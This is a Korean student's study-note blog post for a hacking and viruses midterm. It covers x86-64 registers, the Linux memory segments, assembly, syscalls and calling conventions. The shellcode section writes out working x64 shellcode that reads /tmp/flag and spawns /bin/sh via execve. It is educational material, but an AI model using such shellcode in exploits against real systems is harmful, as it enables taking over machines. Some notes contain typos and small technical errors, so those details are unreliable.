본문 바로가기
학교 전공/해킹및 바이러스

해킹및 바이러스 중간고사 범위

by 응가1414 2023. 4. 30.

해킹및 바이러스 정리.md
0.05MB
해킹및 바이러스 정리_md_정리.pdf
5.94MB

1-1장 컴퓨터 구조

내용 - 컴퓨터 구조, 명령어 집학 구조, 범용 레지스터, 세그먼트 레지스터, 플래그 레지스터


1. 폰노이만 구조

  • 컴퓨터에 연산, 제어, 저장의 3가지 핵심기능 구성
  • image-20230401125317644

1.1 CPU

1. 프로그램 연산 처리 4. 산술/논리 연산 처리 - 산술 논리 장치
2. 프로세스 코드를 메모리에 불러오고 5. CPU 제어 - 제어 장치
3. 결과를 메모리에 저장 6. CPU에 필요한 데이터 저장 - 레지스터

1.2 기억장치

  • 주기억 장치 + 보조 장치

​ 램 + HDD, SSD


1.3 버스 (Bus)

1. 마더 보드 이다. 4. 주소를 지정하는 주소 버스
2. 컴퓨터와 컴퓨터 사이 신호 전송 통로 5. 일기/쓰기를 제어하는 제어버스
3. 데이터 버스 (Data bus)  

* 질문 기억장치가 있는데 CPU 안에 레지스터가 있는 이유?

*CPU는 굉장히 빠른 속도로 연산을 처리하는데 *

램이 빠른읽기 쓰기가 안된다.

그래서 빠른 읽기/쓰기가 가능한 레지스터 이용

image-20230401130122753


2. 명령어 집합 구조 ISA - x86-64(x64)

CPU가 해석하는 명령어의 집합

​ 프로그램은 기계어로 이루어져 있다.

​ 프로그램을 실행하면 이 명령어들은 CPU가 읽고, 처리

32bit와 호환이 되는 64비트 ISA 를 x86-64라한다.


2.1 x86-64 아키텍처 (ISA의 종류)

  • x64 아키텍처는 인텔의 64bit CPU 아키텍처
  • 64bit 아키텍처
    • CPU가 한번에 처리할 수 있는 데이터의 크기 (64비트)
    • CPU가 이해할 수 있는 데이터의 단위
      • WORD라고 지칭
        • 예를 들어, 일반적인 32비트 아키텍처에서 ALU(덧셈)는 32비트까지 계산, 레지스터의 용량 및 각종 버스들의 대역폭이 32비트, CPU는 설계 상 32비트의 데이터까지만 처리

2.1.1 x86-64 아키텍처: 레지스터 종류

  • 레지스터는 CPU가 데이터를 빠르게 저장하고, 이용하는 보관소
  • 종류는
    • 범용 레지스터 세그먼트 레지스터 : 시작한 주소 저장 명령어 포인터 : 명령 시작 주소
      플래그 레지스터 : CPU상태 기억    

2.1.1.1 범용 레지스터

  • x86-64에서 범용 레지스터8바이트(64bit)를 저장
이름 (r은 64비트라는 뜻) 주용도
rax (accumulator register) 함수의 반환 값
rbx (base register) x64에서는 주된 용도 없음
rcx (counter register) 반복문의 반복 횟수, 각종 연산의 시행 횟수
rdx (data register) x64에서는 주된 용도 없음
rsi (source index) - 배열 인덱스 가리키는 용도 데이터를 옮길 때 원본을 가리키는 포인터
rdi (destination index) - 배열 인덱스 가리키는 용도 데이터를 옮길 때 목적지를 가리키는 포인터
rsp (stack pointer) 사용중인 스택의 위치를 가리키는 포인터
rbp (stack base pointer) 스택의 바닥을 가리키는 포인터
  • 의 역할
    • 이중 CPU가 어느 부분 코드를 실행할지 가리키는 게 *명령어 포인터 레지스터의 (rip)역할 *
  • x64 아키텍처의 명령어 레지스터는 rip 크기는 8바이트

2.1.1.2 세그먼트 레지스터

  • cs, ss, ds, es, fs, gs 총 6가지 세그먼트
    • cs : code 실행코드
    • ss : stock 프로그램 시작 스택
    • ds : data(데이터)가 저장되어 있는 세그먼트의 시작 주소
  • 과거
    • 세그먼트 레지스터를 이용하여 사용가능한 물리 메모리의 크기 확장에 사용
      • IA-16에서는 cs:offset 라고 한다면 cs<<4 + offset의 주소를 사용해서 16비트 범위에서 접근할수 없는 주소에 접근
  • 현제
    • x64에서 사용 가능한 주소 영역이 넓기 때문에
    • cs, ds, ss 레지스터는 코드 영역, 데이터, 스택 메모리 영역을 가리킬 때 사용 나머지는 범용적인 용도로 제작

2.1.1.3 명령어 포인터 rip

프로그램은 연속적인 기계어 코드들로 구성

  • rip의 역할
    • 이중 CPU가 어느 부분 코드를 실행할지 가리키는 게 *명령어 포인터 레지스터의 (rip)역할 *
  • x64 아키텍처의 명령어 레지스터는 rip 크기는 8바이트

2.1.1.4 플래그 레지스터

  • 플로세서의 현재 상태를 저장하는 레지스터
  • 깃발을 올리고, 내리는 행위로 신호를 전달하듯
    • 자신을 구성하는 여러 비트들로 CPU의 현재 상태를 표현
플래그 의미
*CF (Carry Flag) overflow을 나타냄 부호 없는 수의 연산 결과가 비트의 범위를 넘을 경우 설정 됩니다.
ZF (Zero Flag) 연산의 결과가 0일 경우 설정 됩니다.
SF (sign Flag) 연산의 결과가 음수일 경우 설정 됩니다.
OF (Overflow Flag) 부호 있는 수의 연산 결과가 비트 범위를 넘을 경우 설정 됩니다.
  • image-20230401143713195
    • a (3) - b (5) = - 2 그래서 SF가 설정되어있다.
      • CPU는 CF를 통해 a가 b보다 작았음을 인지.

2.1.2 x86-64 아키텍처: 레지스터 호환

  • x86-64 아키텍처는 IA-32의 64비트 확장 아키텍처이며, 호환이 가능
  • IA-32에서 CPU의 레지스터들은 32비트 크기를 가진다
    • IA-32 레지스터 명칭 : eax, ebx, ecx, edx, esi, edi, esp, ebp
      • *e *는 64bit의 확장된 레지스터의 하위 32bit를 의미
  • x86-64의 레지스터들은 명칭 사용
    • x86-64 레지스터 명칭 : rax, rbx, rcx, rdx, rsi, rsp, rbp
  • IA-16과의 호환을 위해
    • IA-16의 레지스터 명칭 : ax, bx, cx, dx, si, di, sp, bp
    • 32비트 레지스터의 하위 16비트를 의미
  • IA-8bit
    • IA-8bit의 레지스터 명칭 : ah, al, bh, bl, ch, cl, dh, dl

64비트 크기 안에 32비트가 있다

64비트 레지스터 32비트 레지스터
RAX EAX
RBX EBX
RCX ECX
RDX EDX
RSI ESI
RDI EDI
RSP ESP
RBP EBP

32비트 크기 안에 16, 8비트가 있다

32비트 레지스터 16비트 레지스터 8비트 레지스터 8비트 레지스터
EAX AX AH AL
EBX BX BH BL
ECX CX CH CL
EDX DX DH DL
ESI SI - -
EDI DI - -
ESP SP - -
EBP BP - -

3. 레지스터 호환 문제

3.1 문제

image-20230401150459616

3.2 문제

image-20230401150528407

3.3 문제

image-20230401150818799

3.4 문제

image-20230401150951958

ZF는 플래그 이다. = 0이 발생했다는 의미

rax - rbx = 0

rax == rbx 이다.


4. 1장 요약

범용 레지스터

범용 레지스터 x86-64에서 범용 레지스터8바이트(64bit)를 저장
*rax (accumulator register) 함수의 반환 값
rbx (base register) x64에서는 주된 용도 없음
rcx (counter register) 반복문의 반복 횟수, 각종 연산의 시행 횟수
rdx (data register) x64에서는 주된 용도 없음
*rsi (source index) - 배열 인덱스 가리키는 용도 데이터를 옮길 때 원본을 가리키는 포인터
*rdi (destination index) - 배열 인덱스 가리키는 용도 데이터를 옮길 때 목적지를 가리키는 포인터
*rsp (stack pointer) 사용중인 스택의 위치를 가리키는 포인터
rbp (stack base pointer) 스택의 바닥을 가리키는 포인터

세그먼트 레지스터

세그먼트 레지스터 현제는 주로 메모리 보호를 위해 사용
cs (code) - 실행코드 레지스터는 코드 영역
ss (stack) - 프로그램 시작 스택 스택 메모리 영역
ds - 데이터 data가 저장되어 있는 세그먼트의 시작 주소

명령어 포인터 레지스터

명령어 포인터 레지스터 CPU가 실행햐야할 코드를 가리키는 레지스터, 크기는 8바이트
rip 이중 CPU가 어느 부분 코드를 실행할지 가리키는 게 *명령어 포인터 레지스터의 (rip)역할 *

플래그

플래그 CPU의 상태를 저장하는 레지스터
*CF (Carry Flag) overflow을 나타냄 부호 없는 수의 연산 결과가 비트의 범위를 넘을 경우 설정 됩니다.
ZF (Zero Flag) 연산의 결과가 0일 경우 설정 됩니다.
SF (sign Flag) 연산의 결과가 음수일 경우 설정 됩니다.
OF (Overflow Flag) 부호 있는 수의 연산 결과가 비트 범위를 넘을 경우 설정 됩니다.

1-2장 리눅스 메모리 레이아웃

  • 만약 공각자가 메모리를 악의적으로 조작할 수 있다면 조작된 메모리 값에 의해 CPU도 잘못된 동작을 수행 (공격자가 원하는 동작)
  • 이를 메모리가 오염됐다고 표현, 취약점을 메모리 오염 취약점으로 지칭
  • 많은 공격 기법이 메모리 오염을 기반 (메모리 조작)
  • Stack Buffer Overlow, Off by One Format String Bug, Double Free Bug, Use After Free 등등 (다양한 공격들 존제)
  • 리눅스 메모리 구조은 메모리 오염 취약점을 이야하기 위한 배경지식
    • 메모리 프로세스 구조
    • 프로그램이 메모리 상에 로딩되는 모습
  • 가상 메모리의 각 구역이 어떤 정보를 담고 있는지 이해함으로써 프로세스 메모리의 전체 구조에 대한 이해

1.2.1 리눅스 메모리 레이아웃 : 세그먼트

  • 리눅스에서 프로세스의 메모리를 크게 5가지의 세그먼트(Segment)로 구분
  • 세그먼트란 : 데이터의 용도별로 메모리의 구획을 나눈것
  • 권한 : 읽기 (r) / 쓰기 (w) / 실행 (e) 이 존제
    • CPU는 메모리에 대해 권한이 부여된 행위만 수행 - 보안관련

1.2.1.1 세그먼트의 영역 사진

image-20230401154826352image-20230401155405891image-20230401162252194


1.2.1.2 리눅스 메모리 레이아웃 : 코드(code) 세그먼트 R/E 권한

image-20230401162201554

  • 실행 코드 영역
    • 실행 파일을 구성하는 명령어들이 올라가는 메모리 영역으로 함수, 제어문, 상수
  • 코드 세그먼트 (= 텍스트 세그먼트)
    • 실행 코드 영역 ( ex) main )
  • 읽기 권한(R)실행 권한(E)이 부여
    • 공격자가 악의적인 코드를 삽입하기 쉬워지므로
    • 쓰기 권한을 제거 R (X) 제거
  • 정수 31337을 반환하는 main함수가 컴파일 되면 554889e5b8697a00005dc3라는 기계코드로 변환
    • 기계 코드가 코드 세그먼트에 위치
      • image-20230401163216757

1.2.1.3리눅스 메모리 레이아웃 : 데이터(data) 세그먼트 R/W vs rodata 권한

  • 컴파일 시점에 값이 정해진 전역 변수 , 전역 상수
  • CPU가 이 세그먼트의 데이터를 읽을 수 있어야한다
    • 읽기 권한 부여
  • 쓰기 가능 (R / W) VS 쓰기 불가능 (only reade)
    • 쓰기가 가능한 세그먼트 (R / W)
      • 전역 변수와 같이 실행되면서 값이 변할 수 있는 데이터들이 위치
    • 쓰기가 불가능한 세그먼트 (read-only)
      • 상수 영역의 세그먼트
      • rodata (read-only data) 세그먼트
  • 코드로 확인하기
  • image-20230401164227605 - 4줄에보면 char *str_ptr = "readonly" - pointer = "read-only" - 데이터세그먼트(r/w) = 데이터 새그먼트-rodata 영역에 가능하다. - 데이터 세그먼트의 Pointer 가 rodata 영역의 문자열을 포인팅하고있다. - image-20230401165005514

1.2.1.4 리눅스 메모리 레이아웃 : BSS 세그먼트 R/W 권한

  • Block Started By Symbol Segment
  • 컴파일 시점에 값이 정해지지 않은 전역 변수가 위치하는 메모리 영역
    • 초기화 하지 않은 전역변수 들이 포함.
  • 이 세그먼트의 메모리 영역은
    • 프로그램이 시작될때, 모두 0으로 값이 초기화
  • 세그먼트에는
    • 읽기 권한, 쓰기 권한이 부여
  • image-20230401165655278

1.2.1.5 리눅스 메모리 레이아웃 : 스택 세그먼트 R / W 권한

  • 프로세스의 스택이 위치하는 영역
    • 함수가 호출되면 스택에는 함수의 매개변수, 호출이 끝난 뒤 돌아갈 반환 주소값, 함수에서 선언된 지역 변수 등이 저장됩니다.
  • 스택 세그먼트
    • 스택 프레임이라는 단위로 사용
      • 스택프레임은 함수가 호출될 때 생성, 반환될때 해제
  • image-20230401165953164 - 순서 : scanf -> stack frame 생성 -> stack frame 반환 -> funk stack frame call
  • 프로세스가 실행될때 얼마나 스택 프레임을 사용하게 될 지를 계산하는 것은 일반적으로 불가능
  • 시작할때 작은 크기의 스택 세그먼트 먼저 할당, 부족해 질 때마다 이를 확장
  • 스택은 '아래로 자란다'
    • 스택이 확장될 때 낮은 주소로 확장 된다.
    • image-20230401170713308
    • 읽기 (R) 와 쓰기 (W) 권한이 부여
  • 함수 호출스택, 지역변수가 스택 영역에 부여
    • image-20230401171510395

image-20230401165655278

rsp (stack pointer) 사용중인 스택의 위치를 가리키는 포인터
rbp (stack base pointer) 스택의 바닥을 가리키는 포인터

1.2.6 리눅스 메모리 레이아웃 : 힙 세그먼트 R/W 권한

  • 실행중에 동적으로 할당
  • 스택 세그먼트와 반대방향으로 확장
    • image-20230401170713308
  • C언어 malloc(), calloc() 등을 호출
    • 읽기와 쓰기 권한이 부여
  • heap_data_ptr은 스택에 위치, malloc으로 할당 받은 힙 세그먼트의 주소를 포인팅
    • image-20230401171733639

1.2.2 요약

세그먼트 역할 일반적인 권한 사용 예
코드 세그먼트 실행 가능한 코드가 저장된 영역 R, E 읽기, 실행 main() 들의 함수 코드 /
데이터 세그먼트 초기화된 전역 변수 또는 상수가 위치하는 영역 R/W or R (rodata) 읽기/쓰기 OR 읽기 초기화된 전역 변수, 전역 상수
BSS 세그먼트 초기화 되지 않은 데이터가 위치하는 영역 R, W 읽기/쓰기 초기화 되지 않은 전역 변수
스택 세그먼트 임시 변수, 함수호출 (리턴 주소)(스택프레임)이 저장되는 영역 R, W 읽기/쓰기 함수가 호출되면 스택에는 함수의 매개변수, 호출이 끝난 뒤 돌아갈 반환 주소값, 함수에서 선언된 지역 변수 등이 저장됩니다.
힙 세그먼트 실행중에 동적으로 사용 R, W 읽기/쓰기 malloc()등으로 할당받은 메모리

image-20230419185319710

  • char *str_ptr = "readonly"
    • pointer 는 데이터 세그먼트
    • "readonly" 은 read-only 부분이다.
  • int *ptr = malloc(4);
    • 지역변수(스택 세그먼트) ,
    • malloc(4) 힙 세그먼트

1.2.3 문제

1.2.3.1 문제_1

image-20230401173701200


1.2.3.2 문제_2

image-20230401173807146


1.2.3.3 문제_3

image-20230401173809894


1-3장 어셈블리 언어

1.3.1어셈블리 언어

  • 컴퓨터의 기계어와 치환되는 언어

1.3.1.1 어셈블리 언어: 기본 구조

  • image-20230401194731780
  • 명령어(Operation) 와 피연산자 (Operand) 로구성

1.3.1.2 어셈블리 언어: 명령어

명령 코드  
데이터 이동 (Data Transfer) mov, lea
산술 연산 (Arithmetic) inc, dec, add, sub
논리 연산 (Logical) and, or, xor, not
비교 (Comparison) cmp, test
분기 (Branch) jmp, je, jg
스택 (Stack) push, pop
프로시져 (Procedure) call, ret, leave
시스템 콜 (System call) syscal

mov는 좌변에 우변(혹은 상수)의 값을 입력하는 것이다.
lea는 좌변(레지스터만 가능)에 우변의 주소값을 입력하는 것이다.


1.3.1.2.1 에셈블리 명령어: 데이터 이동

데이터 이동 명령어는 어떤 값을 레지스터나 메모리에 옮기도록 지시

mov dst, src src에 들어있는 값을 dst에 대입
mov rdi, rsi rsi의 값을 rdi에 대입
mov QWORD PTR[rdi], rsi rsi의 값을 rdi가 가리키는 주소에 대입
mov QWORD PTR[rdi + 8 * rcx], rsi ris의 값을 rdi + 8 * rcx 가 가리키는 주소에 대입
lea dst, src src의 유효 주소 (Effective Address, EA)를 dst에 저장
lea rsi, [rbx + 8 * rcx] rbx + 8*rcx 를 rsi에 대입

1.3.1.3 어셈블리 언어: 피연산자

  • 상수 (Immediate Value), 레지스터 (Register), 메모리 (Memory)
  • 메모리 피연산자
    • [] 으로 둘러싸인 것으로 표현
    • (Size Directive) TYPE PTR []
  • BYTE, WORD, DWORD, QWORD 각각 1byte, 2byte, 4byte, 8byte 의 크기 지정
  • 자료형
    • BYTE 1byte WORD 2byte
      DWORD 4byte QWORD 8byte
  • 메모리 피연산자  
    QWORD PTR [0x8048000] 0x8048000의 데이터를 8바이트만큼 참조
    DWORD PTR [0x8048000] 0x8048000의 데이터를 4바이트만큼 참조
    WORD PTR [rax] rax가 가르키는 주소에서 데이터를 2바이트 만큼 참조

1.3.1.4 어셈블리 언어: 데이터 이동

값을 주소에 저장

mov A B A에 있는 값을 B에 대입
mov rdi, rsi rsi의 값을 rdi에 대입
mov QWORD PTR[rdi], rsi rsi의 값을 rdi가 가리키는 주소에 대입
mov QWORD PTR[rdi + 8*rcx], rsi rsi의 값을 rdi + 8 * rcx가 가리키는 주소에 대입

주소 을 레지스터에 저장

lea A Address Address를 A에 저장
lea rsi, [rbx + 8*rcx] rbx + 8*rcx를 rsi에 대입 이것을 주소로 하여 저장한다.

image-20230419191609032

  1. 0x0000000000COFFEE 의 주소의 값이고
  2. 0x401A48 의 주소가 들어간다.

1.3.1.5 어셈블리 언어: 산술 연산

*add *

add A B A += B
add eax, 3 eax += 3
add ax, WORD PTR[rdi] ax += * (WORD *) rdi

*sub *

add A B A += B
sub eax, 3 sub -= 3
sub ax, WORD PTR[rdi] sub -= * (WORD *) rdi

*inc *++1

inc eax eax += 1

*dec *--1

dec eax eax -= 1

1.3.1.6 어셈블리 언어: 비교

비교  
cmp rax, rbx ZF = 1

1.3.1.7 어셈블리 언어: 분기

분기  
jmp 1 rip 레지스터 값 변경
je 1 직전에 비교한 두 피연산자가 같으면 점프 (jump if equal)
jg 1 직전에 비교한 두 피연산중 전자가 더 크면 점프

*- je *

image-20230419204115937

*- jg *

image-20230419204138832

1.3.2 Opcode

1.3.2.1 Opcode: 스택

*push *

push val val을 스택 최상단에 쌓음
rsp -= 8  
[rsp] = val rsp에 val 값 넣기

image-20230419205224608

*pop *

pop reg  
rsp += 8  
reg = [rsp -8]  

1.3.2.2 Opcode: call addr

call 다음 주소을 스택에 넣고

call addr  
push return_address  
jmp addr  

image-20230419213029374

1.3.2.3 Opcode: leave

leave 스택프레임 정리
mov rsp, rbp  
pop rbp  

image-20230419212812428

  1. rsp == rbp
  2. pop rbp => rbp를 이전 함수 바텀으로 보낸다
  3. rsp + 8 을 한다.

1.3.2.4 Opcode: ret

ret return address
pop rip  

image-20230419212659090

1.3.2.5 System call, Syscall

syscall              
요청 rax            
인자 순서 rdi rsi rdx rcx r8 r9 stack

1.3.2.6 x64 syscall 테이블

syscall rax 요청 arg0 ( rdi ) arg1 (rsi) arg2 ( rdx )
open 0x02 const char *filename int flags 읽기/쓰기 모드 umode_t mode
read 0x00 fd (파일 open 한것) char *buf 저장 배열 size count 사이즈
write 0x01 fd (파일 open 한것) const char *buf size count 사이즈
close 0x03 fd (파일 open 한것)    
execve 0x3b const char *filename const char *const *argv (우린 NULL) const char *const *envp(우린 NULL)

1.3.2 Opcode 요약

• 스택
– push val : rsp를 8만큼 빼고, 스택의 최상단에 val을 저장.
– pop reg: 스택 최상단의 값을 reg에 넣고, 
            rsp를 8만큼증가.

• 프로시저
– call addr: addr의 프로시저를 호출.
    call 다음 명령어 스택어 넣기
    rsp -8
– leave: 스택 프레임을 정리.
    move rsp, rbp   ;  rsp == rbp
    pop rbp  ;  이전 함수의 스택 바텀에 rbp 넣기
– ret: 호출자의 실행 흐름으로 복귀.
    pop rip

• 시스템 콜:
– syscall: 커널에게 필요한 동작을 요청.

3 shellcode

3.1 셀코드 개념

• 셸코드(Shellcode)
– 익스플로잇을 위해 제작된 어셈블리 코드 조각
– 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용
– 셸을 획득하는 것은 시스템 해킹의 관점에서 매우 중요
 execve 셸 코드에서 이유 확인.
• 해커가 rip를 자신이 작성한 셸코드의 주소로 변경
– 해커는 원하는 어셈블리 코드가 실행
– 어셈블리어는 기계어와 거의 일대일 대응되
syscall rax 요청 arg0 ( rdi ) arg1 (rsi) arg2 ( rdx )
open 0x02 const char *filename int flags 읽기/쓰기 모드 umode_t mode
read 0x00 fd (파일 open 한것) char *buf 저장 배열 size count 사이즈
write 0x01 fd (파일 open 한것) const char *buf size count 사이즈
close 0x03 fd (파일 open 한것)    
execve 0x3b const char *filename const char *const *argv (우린 NULL) const char *const *envp(우린 NULL)

3.1.1 open ("/tmp/flag", O_RDONLY, NULL)

syscall rax 요청 arg0 ( rdi ) arg1 (rsi) arg2 ( rdx )
open 0x02 const char *filename int flags 읽기/쓰기 모드 umode_t mode
int fd = open ("/tmp/flag", O_RDONLY, NULL)
push 0x67  ; g의 아스키 코드
mov rax, 0x616c662f706d742f   ; alf/pmt/
push rax
mov rdi, rsp   ; rdi = "/tmp/flag"
xor rsi, rsi   ; rsi = 0 ; RD_ONLY
xor rdx, rdx   ; rdx = 0
syscall        ; open("/tmp/flag", RD_ONLY, NULL)

– syscall의 반환 값은 rax로 저장, 
    따라서 open으로 획득한. 
    /tmp/flag의 fd는 rax에 저장. 

3.1.2 read(fd, buf, 0x30)

syscall rax 요청 arg0 ( rdi ) arg1 (rsi) arg2 ( rdx )
read 0x00 fd (파일 open 한것) char *buf 저장 배열 size count 사이즈
read(fd, buf, 0x30)
mov rdi, rax    ; rdi =fd  open syscall은 rax에 fd 저장한다.
mov rsi, rsp    ; rsi = rsp 저장 배열 만들기
sub rsi, 0x30   ; rsi = rsp - 0x30   ;   buf
mov rdx, 0x30   ; rdx = 0x30         ;   len
mov rax, 0x0    ; rax = 0            ;   syscall_read
syscall         ; read(fd, buf, 0x30)

3.1.3 write(1 화면에 출력, buf, 0x30)

syscall rax 요청 arg0 ( rdi ) arg1 (rsi) arg2 ( rdx )
write 0x01 fd (파일 open 한것) const char *buf size count 사이즈
write(1, buf, 0x30)  // 1은 화면에 출력함을 의미한다.
– 출력은 stdout으로 할 것이므로, rdi를 0x1로 설정.
mov rdi, 1(화면에 출력) ; rdi = 1     ; fd = stdout
mov rax, 0x1           ; rax = 1     ; syscall_write 

; 이미 buf인 rsi(rsp - 0x30) 와,   size인  rdx(0x30) 에는 값이 설정되어있다.

syscall                 ; write(fd, buf, ox30)

3.1.4 open read write 완성본

int fd = open ("/tmp/flag", O_RDONLY, NULL)
read(fd, buf, 0x30)
write(1, buf, 0x30)  // 1은 화면에 출력함을 의미한다.
push 0x67  ; g의 아스키 코드
mov rax, 0x616c662f706d742f   ; alf/pmt/
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax    ; rdi =fd  open syscall은 rax에 fd 저장한다.
mov rsi, rsp    ; rsi = rsp 저장 배열 만들기
sub rsi, 0x30   ; rsi = rsp - 0x30   ;   buf
mov rdx, 0x30   ; rdx = 0x30         ;   len
mov rax, 0x0    ; rax = 0            ;   syscall_read
syscall         ; read(fd, buf, 0x30)

mov rdi, 1         ; (화면에 출력) rdi = 1     ; fd = stdout
mov rax, 0x1     ; rax = 1     ; syscall_write 
syscall          ; write(fd, buf, ox30)

3.2 orw 셸코드 작성 및 디버깅

3.3 execve 셸코드 작성

또다른 쉘을 생성하는 것

execve("/bin/sh", null, null)

syscall rax 요청 arg0 ( rdi ) arg1 (rsi) arg2 ( rdx )
execve 0x3b const char *filename const char *const *argv (우린 NULL) const char *const *envp(우린 NULL)
execve("/bin/sh", null, null)    

– argv는 실행파일에 넘겨줄 인자, envp는 환경변수.
– sh만 실행하면 되므로 다른 값들은 전부 null로 설정.
– 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에
저장되어 있으며, 우리가 실행할 sh도 여기에 저장.
– execve(“/bin/sh”, null, null)을 실행하는 셸 코드를 작성. 
mov rax, 68732f6e69622f      ; hs/nib/
push rax
mov rdi, rsp   ; rdi = "/bin/sh\x00"   \x00 == NULL
xor rsi, rsi   ; rsi = NULL
xor rdx, rdx   ; rdx = NULL
mov rax, 0x3b  ; rax = sys_execve
syscall        ; execve("/bin/sh", null, null)

퀴즈

  • 1
파일 지정자들의 번호를 맞춰보세요
stderr = 2 // 표준입력
stdin = 0 // 표준 출력
stdout = 1 // 표준 에러 출력
  • 2
pwndbg> x/s 0x7fffffffc278
"/bin/sh\x00"

mov rdi, (a) 0x7fffffffc278
xor rsi, rsi
xor rdx, rdx
mov rax, (b) 0x3b

3.2 셀코드 요약

• 셸 코드를 작성하고 직접 디버깅
• 셸 코드 작성법을 알았다고 해서 바로 시스템
해킹에 사용해 볼 수 있는 것은 아니지만, 앞으로
배우게 될 Return Address Overwrite과 같은 공격
기법들과 연계하면 강력한 공격 수단으로 활용
• 디버깅 및 어셈블리어에 익숙해지고, 셸 코드가
무엇인지 이해

4장 Stack Buffer Overlow, 함수 호출 규약

4.1 함수 호출 규약 cdecl, sysv

x86(32bit) 아키텍처는 레지스터를 통해 피호출자의
인자를 전달하기에는 레지스터의 수가 적으므로,
스택으로 인자를 전달하는 규약을 사용.
• x86-64 아키텍처에서는 레지스터가 많으므로 적은
수의 인자는 레지스터만 사용해서 인자를
전달하고, 인자가 너무 많을 때만 스택을 사용.

CPU의 아키텍처가 같아도, 컴파일러가 다르면
적용하는 호출 규약이 다름.
• 예를 들어, C언어를 컴파일할 때, 윈도우에서는
MSVC를, 리눅스에서는 gcc를 주로 사용.
• 이 둘은 같은 아키텍처에 대해서도 다른 호출
규약을 적용.
• x86-64 아키텍처에서 MSVC는 MS x64 호출
규약을 적용하지만, gcc는 SYSTEM V 호출 규약을
적용.
• 이 외에 같은 호출 규약을 컴파일러마다 다르게
구현하기도 함.

4.1.1 함수 호출 규약: x86호출 규약: cdecl

• x86아키텍처는 레지스터의 수가 적으므로, 스택을
통해 인자를 전달

• 또한, 인자를 전달하기 위해 사용한 스택을
호출자가 정리하는 특징.

• 스택을 통해 인자를 전달할 때는, 마지막 인자부터
첫 번째 인자까지 거꾸로 스택에 push.

• cdecl.c를 어셈블리어로 컴파일한 후 확인.

1. 스택을 통해 인자를 전달
2. 스택을 호출자가(main, caller) 정리   add esp, 0x8
3. 스택을 통해 인자를 전달할 때는, 
    마지막 인자부터 첫 번째 인자까지 거꾸로 스택에 PUSH
void__attribute__((cdec1)) callee(int a1, int a2){}

void caller(){
    callee(1, 2);
}
callee:
    nop
    ret ; 스택을 정리하지 않고 리턴

caller:
    push    2 ; 2를 스택에 저장하여 callee의 인자로 전달합니다.
    push     1 ; 1를 스택에 저장하여 callee의 인자로 전달합니다.
    call     callee
    add        esp, 8; 스택을 정리합니다. (push를 2번하였기 때문에 8byte만큼 esp가 증가)
    nop
    ret

1. 스택을 통해 인자를 전달
2. 스택을 호출자가(main, caller) 정리   add esp, 0x8
3. 스택을 통해 인자를 전달할 때는, 
    마지막 인자부터 첫 번째 인자까지 거꾸로 스택에 PUSH

4.1.2 함수 호출 규약: x86-64 : SYSV

RDI, RSI, RDX, RCX, R8, R9 순으로 들어감

• SYSV에서 정의한 함수 호출 규약의 특징.
1. 6개의 인자를 RDI, RSI, RDX, RCX, R8, R9에
순서대로 저장하여 전달.
2. 6개 이후 추가 인자는 스택을 추가로
3. Caller (main) 인자 전달에 스택을 정리.
4. 함수의 반환 값은 RAX로 전달합니다.
• sysv.c를 컴파일하고, gdb로 동적 분석 
ull callee(ull a1, int a2, int a3, int a4, int a5, int a6, int a7){
    return a1 + a2 + a3 + a4 + a5 + a6 + a7;
}

void caller(){ callee(123456789, 2, 3, 4, 5, 6, 7);}

int main(){caller();}
calller

    push rbp
    mov rbp, rsp
    push 7
    mov r9d, 6
    mov r8d, 5
    mov rcx, 4
    mov rdx, 3
    mov rsi, 2
    movabs rdi, 0x1b69b4bacd05f15
    call callee <callee>      ; 다음 명령어 push, callee 함수 점프

    add rsp, 8
    nop
    leave     ; mov rsp, rbp  ;  pop rbp
    ret        ; pop rip
callee
    mov rbp, rsp  ;  callee 스택프래임 생성
    mov QWORD PTR [rbp - 0x18], rdi
    mov DWORD PTR [rbp - 0x1c], esi
    mov DWORD PTR [rbp - 0x20], edx
    mov DWORD PTR [rbp - 0x24], ecx
add rax, rdx
mov QWORD PTR [rbp-0x8], rax
mov rax, QWORD PTR [rbp - 0x8]
pop rbp    ;   스택을 사용하지 않았으니  leave 대산 pop사용
ret        ;   pop rip
### 4장 함수 호출 규약 퀴즈

- 1   cdecl 으로                  32비트

```c
int __attribute__((cdec1)) sum (int a1, int a2, int a3){
    return a1 + a2 + a3;
}
void main(){
    int total = 0;
    total = sum(1, 2, 3)
}
main CDEC1  32비트
    push     ebp            ; main ebp주소 푸쉬
    mov     ebp, esp    ; 새로운 스택프레임 생성
    sub     esp, 0x10    ; 변수 생성
    mov     DWORD PRT [ebp-0x4], 0x0    
    push     0x03     ; -a   
    push     0x02     ; -b
    push     0x01     ; -c
    call     0x80483db <sum>
    add     esp, 0xc     ; -d  ; 스택정리
    mov     DWORD PTR [ebp-0x4], eax
    nop
    leave    ; mov esp, ebp  ; pop ebp
    ret         ; pop eip

    32비트
  • 2 SYSV 64비트
int sum(int a1, int a2, int a3){
    return a1 + a2 + a3;
}
void main(){
    int total = 0;
    total = sum(1, 2, 3);
}
main  64비트 r
    push     rbp            ; main rbp주소 푸쉬
    mov     rbp, rsp    ; 새로운 스택 프레임 생성
    sub        rsp, 0x10    ; 변수생성
    mov     DWORD PTR [rbp-0x4], 0x0
    mov     edx, 0x3    ; -a
    mov        dsi, 0x2    ; -b
    mov        edi, 0x1    ; -c
    call     0x4004d6 <sum>
    mov        DWORD PTR [rbp-0x4], eax
    nop
    leave     ; mov rsp, ebp     ; pop rbp
    ret        ; pop rip
    64비트 r

4.2 Stack Buffer Overflow

  • 스택 오버플로우
  • 스택 영역이 너무 많이 확장돼서 발생하는 버그를 뜻합니다
  • 스택 버퍼 오버플로우스택 프래임의 지역을 침범하는 것
  • 스택에 위치한 버퍼에 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그를 뜻 한다.

버퍼

  • '완충 장치'라는 뜻, '데이터가 목적지로 이동하기 전에 보관 되는 임시 저장소'
  • 데이터를 임시로 저장해 두는 것은 일종의 완충 작용
  • 속도 차이가 있는 프로그램에 데이터가 입력되면 데이터의 유실 발생
  • 수신식과 송신측 사이에 버퍼라는 임시 저장소를 두고, 간접적으로 데이터를 전달
  • 현대에는 데이터가 저장될 수 있는 모든 단위를 버퍼라고 지칭

스택 버퍼 오버플로우

  • 버퍼는 메모리상에 연속해서 할당되어 있다,
    • 버퍼에서 오버플로우가 발생하면
